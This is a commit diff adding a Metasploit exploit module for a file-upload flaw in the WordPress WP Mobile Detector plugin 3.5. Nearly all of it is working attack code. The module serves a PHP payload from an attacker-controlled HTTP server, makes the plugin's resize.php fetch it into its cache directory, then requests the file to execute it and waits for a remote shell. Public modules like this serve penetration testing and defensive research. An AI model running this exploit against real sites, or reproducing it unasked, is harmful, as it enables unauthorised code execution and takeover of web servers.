wp_mobile_detector rce
This commit is contained in:
@@ -0,0 +1,118 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload',
|
||||
'Description' => %q{
|
||||
WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
|
||||
to execute arbitrary PHP code. This flaw exists because the
|
||||
/wp-content/plugins/wp-mobile-detector/resize.php script does contains a
|
||||
remote file include for files not cached by the system already.
|
||||
By uploading a .php file, the remote system will
|
||||
place the file in a user-accessible path. Making a direct request to the
|
||||
uploaded file will allow the attacker to execute the script with the privileges
|
||||
of the web server.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'pluginvulnerabilities.com', # Vulnerability disclosure
|
||||
'Aaditya Purani', # EDB module discovered after writing module
|
||||
'h00die' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['WPVDB', '8505'],
|
||||
['EDB', '39891'],
|
||||
['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
|
||||
],
|
||||
'DisclosureDate' => 'May 31 2016',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['wp-mobile-detectory < 3.6', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('wp-mobile-detector', '3.5')
|
||||
end
|
||||
|
||||
def exploit
|
||||
if datastore['SRVHOST'] == '0.0.0.0'
|
||||
fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from rhost')
|
||||
end
|
||||
payload_name = rand_text_alphanumeric(10) + '.php'
|
||||
|
||||
# First check to see if the file is written already, if it is cache wont retrieve it from us
|
||||
res = send_request_cgi(
|
||||
'global' => true,
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
|
||||
)
|
||||
if res and !res.body.include?(payload_name)
|
||||
vprint_status("#{payload_name} verified as not written.")
|
||||
else
|
||||
fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
print_good('Payload requested on server, sending')
|
||||
send_response(cli, payload.encoded, {})
|
||||
end
|
||||
|
||||
print_status('Starting Payload Server')
|
||||
payload_url = '/' + payload_name
|
||||
start_service('Uri' => {
|
||||
'Path' => payload_url,
|
||||
'Proc' => proc do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
})
|
||||
|
||||
payload_full_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + payload_url
|
||||
print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{payload_full_url}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'global' => true,
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
|
||||
'vars_get' => {'src' => payload_full_url}
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
print_good('Sleeping 5 seconds for payload upload')
|
||||
register_files_for_cleanup(payload_name)
|
||||
|
||||
select(nil,nil,nil,5)
|
||||
|
||||
print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
|
||||
send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
|
||||
})
|
||||
# wait for callback, without this we exit too fast and miss our shell
|
||||
select(nil,nil,nil,2)
|
||||
handler
|
||||
else
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, 'No response from the target')
|
||||
else
|
||||
vprint_error("HTTP Status: #{res.code}")
|
||||
vprint_error("Server returned: #{res.body}")
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user